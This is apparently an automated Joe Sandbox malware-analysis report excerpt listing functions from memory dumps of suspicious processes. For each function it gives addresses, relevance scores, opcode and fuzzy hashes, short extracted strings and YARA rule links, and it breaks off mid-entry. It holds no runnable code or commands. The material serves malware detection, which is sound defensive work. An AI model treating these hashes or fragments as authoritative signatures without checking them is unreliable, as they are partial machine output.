Source File: 0000001D.00000002.1933083799.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: f39e99fefe8c7f99bc288c8546d5dcd3370f96bb57cb03be905e1ceec16df668
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: 54B01200D6740F00E42433FA08D206470405B4C200FCA1070D40C40091E84D22980363

Non-executed Functions

Function 00007FFD9B8A09B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9B8A0B56
"s9, xrefs: 00007FFD9B8A0B46
!k9, xrefs: 00007FFD9B8A0B4E
#{9, xrefs: 00007FFD9B8A0B3E

Memory Dump Source

Source File: 0000001D.00000002.1933083799.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 2ef154cb086ffa0da304be2358331f527cdc7ed1176f8d206fe654dcecb5c47e
Instruction ID: b097706925f4cd262ef24257c904568ada5f7b21d643c4fb40ca0960fe2e470c
Opcode Fuzzy Hash: 2ef154cb086ffa0da304be2358331f527cdc7ed1176f8d206fe654dcecb5c47e
Instruction Fuzzy Hash: 2D419F47B1947A85E31E37FD79299FD6B44CF8533DB0843B7E05E8A0C76C88608292E5

Analysis Process: SKldWJijnIiMahBoQJBr.exePID: 8020, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B8B0D4C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

5X_H, xrefs: 00007FFD9B8B0DF3

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: 685592651f161d6965d2a34e4f16552229d55e656ca4f3fe8fed5857aa4702cf
Instruction ID: f55d43dfa1965ac644bd4a38084d4c3a296a1f4d2bf3a778f1e1b337c12dda67
Opcode Fuzzy Hash: 685592651f161d6965d2a34e4f16552229d55e656ca4f3fe8fed5857aa4702cf
Instruction Fuzzy Hash: A7911272A19A9D4FE799DB68C8797A97FE1FF5A340F4400BAD048D72E2CB782401CB41

Function 00007FFD9B8B08D0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40b00157a27b22bc2ff24a1e99a0ab755814de9cc7d5cfdec0ae398d74239173
Instruction ID: 5d692212eedaec761659b1567042a12927175343478be83d952f21306a8227e5
Opcode Fuzzy Hash: 40b00157a27b22bc2ff24a1e99a0ab755814de9cc7d5cfdec0ae398d74239173
Instruction Fuzzy Hash: A0416D12B0D5794EE719B7BCB4AA6F97780EF49325B0804FBD00EC71EBDD14694286C5

Function 00007FFD9B8B0998 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979cd85857017c938023fc194965650cf5de91ff31c7dbb9ae2b22beb03bf91d
Instruction ID: 9baf3f4b183e9c5fa02bc41088b67380c9b2ac17668312c4b1f40f5b2289d4f5
Opcode Fuzzy Hash: 979cd85857017c938023fc194965650cf5de91ff31c7dbb9ae2b22beb03bf91d
Instruction Fuzzy Hash: 20216611B1D92E0FEB58E77C94AA67976C6EF9C311B4500B9E80EC32E7DD24AC418681

Function 00007FFD9B8B0C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81e7ac8512bb35a4cdb21c2fd59e134baecb353d1770dfe14a0c2cd4750336bd
Instruction ID: abdb7af47634330cbcb79865ba30d2402e12804b35d417fd5939f93f85879d9d
Opcode Fuzzy Hash: 81e7ac8512bb35a4cdb21c2fd59e134baecb353d1770dfe14a0c2cd4750336bd
Instruction Fuzzy Hash: E3212B35B1D66D8AE322A7F998750EC7B60EF46324F1541B3C044871E3DA3866468BC1

Function 00007FFD9B8B108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceed9fc726c1a587ca62d5fc830e50f2c0e3c707bd99678584214838ccd9523c
Instruction ID: 530b289603c89081c248d38b83c6eb5a1f3a747d645c4391c462221311c06059
Opcode Fuzzy Hash: ceed9fc726c1a587ca62d5fc830e50f2c0e3c707bd99678584214838ccd9523c
Instruction Fuzzy Hash: C0012B21A8F6D50FE76957B44C729B13FA0DF8725070A02FAD089CF1E3C84D59878791

Function 00007FFD9B8B4254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff8465bc66923a923f0ab9bfcffd54c0ffc889c7bda12a8c6c9e0c5646fd68a4
Instruction ID: 61da58809cd6bebfc420f8900599ec3324a89f73510547caa7ed551a204782d3
Opcode Fuzzy Hash: ff8465bc66923a923f0ab9bfcffd54c0ffc889c7bda12a8c6c9e0c5646fd68a4
Instruction Fuzzy Hash: FE11C931A0992DCFDBA4DB58C465BA977E1EB5C301F1901A9C00EE72A0CB34AE80CF81

Function 00007FFD9B8B0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4798b2b25c03eaf3b23c16cc493651f188a26c87973a20d847b4ae2a1a80968
Instruction ID: 6f761296babb1d4cb1a8f60cecb9ae18cc0f81957aa95799a5717c4dbd052a74
Opcode Fuzzy Hash: d4798b2b25c03eaf3b23c16cc493651f188a26c87973a20d847b4ae2a1a80968
Instruction Fuzzy Hash: FE11E331B1E69D8EE722DBB988650AC7BB0EF46710F1640B7C084CB1A2D63866458BC0

Function 00007FFD9B8B0C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137a1a947dec654fd3079f037b568938e2b09e553a7fb39b16b3e366eb6288e7
Instruction ID: e8863f3a048467d7a80d8032fff014d9479ab77d09cd62e4a56afe484a2d7d41
Opcode Fuzzy Hash: 137a1a947dec654fd3079f037b568938e2b09e553a7fb39b16b3e366eb6288e7
Instruction Fuzzy Hash: D411A131F1E69D8FE722DBB988650AD7FB0EF56710F1640F7C084DB1A2DA3866458B80

Function 00007FFD9B8B4299 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a18ac315ba237728244644bdb7c2205b106932d55ef742d21f1c1692f8ef062
Instruction ID: f84c08b2e286d7c969c311f8502a192df80279023ba0e639f57ca1912e7faa27
Opcode Fuzzy Hash: 5a18ac315ba237728244644bdb7c2205b106932d55ef742d21f1c1692f8ef062
Instruction Fuzzy Hash: 89110C31A0892D8FDB64DF54C4A1BA9B3E2FB59301F5505ADD00ED72A0CB74AE84CF81

Function 00007FFD9B8B0C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c585734cb3ed839fa117b06000f9a7c12f567d1c6dd3a3e9ed4d9943f3a4c663
Instruction ID: e6ea3134d522d5c0efa329bbf1c84f0feb72790f860cf3db1161de4187875166
Opcode Fuzzy Hash: c585734cb3ed839fa117b06000f9a7c12f567d1c6dd3a3e9ed4d9943f3a4c663
Instruction Fuzzy Hash: 22019231E1E69D8FE726DBB5886509D7FB1EF06710F1641F7C084DB1A2DA386A45CB80

Function 00007FFD9B8B0C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcee725a4eea01fcc4165df88bc34d330a7e8d54f16f412c833e019dbc45bf4c
Instruction ID: cb55ecaa2b755199a832316debfdbddcbe2dccc15280cb5b99aab8ac19e0c60a
Opcode Fuzzy Hash: dcee725a4eea01fcc4165df88bc34d330a7e8d54f16f412c833e019dbc45bf4c
Instruction Fuzzy Hash: 06017130E1E69D8FE726DBB5886409D7FB1EF16704F1541F7C484CB1A2DA386A448B81

Function 00007FFD9B8B0B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfad12250d0b3c9705d751c0897ca78837e958231c548456604414b323d64d7b
Instruction ID: ef28945291321545978c499445cce8be83a13b83ba25c383258ba57f5425d812
Opcode Fuzzy Hash: dfad12250d0b3c9705d751c0897ca78837e958231c548456604414b323d64d7b
Instruction Fuzzy Hash: 64E07D3231965D4FCA01EB7CDC154A53B90EF8B21578B14F6D008C7562C111584E8B40

Function 00007FFD9B8B10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6903e46c0721441276392b4b29bb7cc8632a6afdfedf8e4db215237e4228150
Instruction ID: 455f4eec90519c04710f3e559dcbcc5b9f65a9c835fed3749c4ac1e417ae350e
Opcode Fuzzy Hash: b6903e46c0721441276392b4b29bb7cc8632a6afdfedf8e4db215237e4228150
Instruction Fuzzy Hash: 9DE02621F5C85906EBBCA67468729B07280DB86310B0506B9D01AC32DADC091C824681

Function 00007FFD9B8B4E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: f7197b1c57f4372d0bb0607d1f617ae8edaa0f77525b61853253b7410cbccf6f
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: 40E0ED70F1A52E47FB65A394C861BEA6251EB5D300F1510B8D54E933D1CD38AE418B95

Function 00007FFD9B8B6215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86024388c10ce8b1c13e07e1707939e2d9bb69d6a79f4a364711f89c05292a08
Instruction ID: 2913ff028acb9ed5c3e157c92ddb460b41e2a4b27ca67e558b48637f03a1164b
Opcode Fuzzy Hash: 86024388c10ce8b1c13e07e1707939e2d9bb69d6a79f4a364711f89c05292a08
Instruction Fuzzy Hash: ACD05B00F1D87A0AF32A9764443153D2D525F4A354F9508F5D44ACF1DBCC0C770157C2

Function 00007FFD9B8B5B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: 4a0586020a1d9d379eb4a44baaa7b1965f9df5bdedb876d2dce1607185ba45f9
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: F5D01720F2692D4FE7B0E7788469BB862A1BF4C300F4101B5800DF36A2DC28AE408F41

Function 00007FFD9B8B06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction ID: cd777b65329f9957f46b67db38ed6de0dc75af377c94ec0ce1214aa4547011d7
Opcode Fuzzy Hash: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction Fuzzy Hash: 3BC04C05F6BA3F01F83573FF98660ACA1419BDEA10FD70176D55C400E1AC4D62D90AD6

Function 00007FFD9B8B61DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f46189c32c275226a7d0baa45442682e8047420cb5d68cb399e321e1510ae12f
Instruction ID: d68ccab7baea17126884748f9e1294c0c5377a55246edb1d040d10eb2a911514
Opcode Fuzzy Hash: f46189c32c275226a7d0baa45442682e8047420cb5d68cb399e321e1510ae12f
Instruction Fuzzy Hash: 9AC04C01F29C2A06F76A6614453157E44539F48798FD540B4E01DC72CECD1C5B0216C7

Function 00007FFD9B8B06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 85557934fad5f2123bc61b1991af6e12978d7e58dd61c736fcb6d4be142ca947
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: FAB01200D6782F00F43433FB089206470409B4C100FC20070D40C40091E84D229407C2

Non-executed Functions

Function 00007FFD9B8B09B0 Relevance: 5.2, Strings: 4, Instructions: 179COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9B8B0B56
"s9, xrefs: 00007FFD9B8B0B46
!k9, xrefs: 00007FFD9B8B0B4E
#{9, xrefs: 00007FFD9B8B0B3E

Memory Dump Source

Source File: 0000001E.00000002.1933597475.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 3db74494796d80666ee6fa0e230227f9a3acc09ccc5df90e4a3f201873532809
Instruction ID: 5503719be1e50387aa5465afe509886f628295db1a3ac79c64f7e6e714fac4aa
Opcode Fuzzy Hash: 3db74494796d80666ee6fa0e230227f9a3acc09ccc5df90e4a3f201873532809
Instruction Fuzzy Hash: 3641E142B1853785E21F33FD792A8FC6B40DF8137CB4846B7E05E8A0EB5D88608792E5

Analysis Process: SKldWJijnIiMahBoQJBr.exePID: 8028, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B8B0D4C Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

5X_H, xrefs: 00007FFD9B8B0DF3

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: c28297c6ba143376ea3a030f6d54f7356d67eb87b998292080aeea534ffc04ca
Instruction ID: 4e4269513b447b0c0eebb1577c66a6f0d86cc4cb180d4a0822e047d38013e4e0
Opcode Fuzzy Hash: c28297c6ba143376ea3a030f6d54f7356d67eb87b998292080aeea534ffc04ca
Instruction Fuzzy Hash: 3991F171A19A9D8FE799DB68C8B97A97FE1FF5A340F4400BAD049C72E2DB782401C741

Function 00007FFD9B8E1625 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eb6e41360f86665b91f5e31e12c1ba6691ffc2f6c058af49444f2cfafa0a5cb
Instruction ID: d403e523a38630dc0a4d4096df7a3fee183f62a690873f3cd2407ec7560cfbf7
Opcode Fuzzy Hash: 4eb6e41360f86665b91f5e31e12c1ba6691ffc2f6c058af49444f2cfafa0a5cb
Instruction Fuzzy Hash: 4FD1FD31E2E6990BE32D7B688C921B577D1EB86305B59827DD8DBC319BD928E50383C1

Function 00007FFD9B8EC319 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8EC336

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: ba54cd01c14693842c2cdb618364bedb06d7740df5c0b629eced7210c1178d25
Instruction ID: a4329e615f177f4e56c2de9b8556b0e8d9d91a8a75654c3c748c62fdcb4b72f5
Opcode Fuzzy Hash: ba54cd01c14693842c2cdb618364bedb06d7740df5c0b629eced7210c1178d25
Instruction Fuzzy Hash: FEF0E56050F3C44FCB1AAA3488688107F60EF6720074A42EFC045CF1A3DA1D9C85C701

Function 00007FFD9B8EAAD9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8EAAF6

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 8eaedbe772ae899e0d16dce4b6aba0963aa96cecc7bad6e8faa2898106e495d4
Instruction ID: 17ac29e90d8c4ba9c56eae665d2b10f6730a88e968735af09fb7f9553a3041b9
Opcode Fuzzy Hash: 8eaedbe772ae899e0d16dce4b6aba0963aa96cecc7bad6e8faa2898106e495d4
Instruction Fuzzy Hash: 7BF0A06060E3C44FC71AAA3488698147FA0EF6720034A42EFC045CB1A3EA2C8885C701

Function 00007FFD9B8C3F19 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8C3F36

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8c0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 334d2912c7dcd33d0155267ea7f3ee82d2b3a78c73cb5c609e56d0ab8e91d0b5
Instruction ID: e758c9f5399f64de61368487ee4180b2a8690c751373d8eb437b349f216cbb05
Opcode Fuzzy Hash: 334d2912c7dcd33d0155267ea7f3ee82d2b3a78c73cb5c609e56d0ab8e91d0b5
Instruction Fuzzy Hash: 7FE09B71A1E7C44FC716EB3488694547FA0EF6721174A45EFC045CF1A3DA2DC845C701

Function 00007FFD9B8E21E9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8E2206

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 6865fdb2d90aa879bc3c028bc59e0ebbaf8656f3f220284bc5f9a7c6e9223a67
Instruction ID: 4f1666787fa4a12c5d4cff2058c3552b82f6147125525fb60a5eb45147e9856d
Opcode Fuzzy Hash: 6865fdb2d90aa879bc3c028bc59e0ebbaf8656f3f220284bc5f9a7c6e9223a67
Instruction Fuzzy Hash: FDE06D2060E3C08FCB1AAB348868854BF60EE6720174A52EFC046CF5A3EA2D8985CB01

Function 00007FFD9B8E3479 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8E3496

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 65e2ef3f9ef02e3071b3d94a47bce1fa6eb74ff954f5c40fdfa8f4cbf80c609f
Instruction ID: b3bda7bacf1d44856165f28cbca24ecd652166151842e5f9deb2cccbfe8c98e6
Opcode Fuzzy Hash: 65e2ef3f9ef02e3071b3d94a47bce1fa6eb74ff954f5c40fdfa8f4cbf80c609f
Instruction Fuzzy Hash: EFE06D7160E7C44FC71AAA38886D454BFA0EF6720174A42EFC045CF1A7EA2D8889C701

Function 00007FFD9B8EB0A9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8EB0C6

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 5574a677ef82c0c5abc3ff8f36cdc92144487ec9e3eb50ad3099581b117fe94f
Instruction ID: 6709651a11570fb794dde70017a0310666b456354cb52eb9a96d14249b36a04e
Opcode Fuzzy Hash: 5574a677ef82c0c5abc3ff8f36cdc92144487ec9e3eb50ad3099581b117fe94f
Instruction Fuzzy Hash: EBE01A6154F3C44FCB5AEB7588A98443FB0AE6B21078B51EEC095CF5B3E62D9949C702

Function 00007FFD9B8D9639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8D9656

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8d3000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 6149023ea6b856b545fc078ac9617a961d77f500b8b70a2b5a74202008ad6099
Instruction ID: 891c10e9df220a23a4f7ac9f12a628e93e2646284616bd6a67ac15e86ccb0430
Opcode Fuzzy Hash: 6149023ea6b856b545fc078ac9617a961d77f500b8b70a2b5a74202008ad6099
Instruction Fuzzy Hash: 4EE01A7054A3C04FCB0AEB7484699447F60EE6721178A41DEC089CB1B3E62D8949C701

Function 00007FFD9B8E83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8E83F6

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 8b97464dba112515d049278ac4e4cab45dabc32aae0cedb6dc38f063f6289d90
Instruction ID: 2d784f1e9afd3492be5f6f40667ce453651b049133deffa8d8d34e8ab5d7ee8d
Opcode Fuzzy Hash: 8b97464dba112515d049278ac4e4cab45dabc32aae0cedb6dc38f063f6289d90
Instruction Fuzzy Hash: 34E01A7154E3C08FCB0AAB7488698447F70AE6B21078B41DEC049CF1B3D62DC949C711

Function 00007FFD9B8E2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8E2296

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

